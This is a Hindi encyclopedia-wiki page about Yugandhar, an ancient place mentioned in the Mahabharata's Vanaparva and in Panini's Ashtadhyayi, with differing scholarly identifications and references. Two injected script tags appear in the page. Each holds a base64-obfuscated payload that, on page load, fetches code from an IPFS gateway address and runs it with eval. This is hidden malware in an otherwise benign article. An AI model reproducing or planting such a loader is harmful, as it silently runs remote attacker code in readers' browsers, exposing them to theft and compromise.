एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

युगंधर

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:00, 31 दिसम्बर 2014 का अवतरण (''''युगंधर''' नामक एक प्राचीन स्थान का उल्लेख महाभारत, [...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

युगंधर नामक एक प्राचीन स्थान का उल्लेख महाभारत, वनपर्व में हुआ है-

'युगंधरे दधिप्राश्य उषित्वा चाच्युतस्थले तद्वद् भूतलये स्नात्वा सपुत्रावस्तुमर्हसि।'[1]

  • पाणिनि की 'अष्टाध्यायी'[2] में भी युगंधर का नामोउल्लेख है।
  • बी.सी. लाॅ के अनुसार दक्षिण पंजाब का जींद प्रदेश[3] ही युगंधर है, किंतु युगंधर को उपर्युक्त उद्धरण में दूषित स्थान बताया गया है।
  • चि.वि. वैद्य इसे यमुना नदी के तट पर मानते हैं।[4]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. महाभारत, वनपर्व 129, 9
  2. अष्टाध्यायी 4, 2, 130
  3. अब हरियाणा का एक भाग
  4. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 772 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>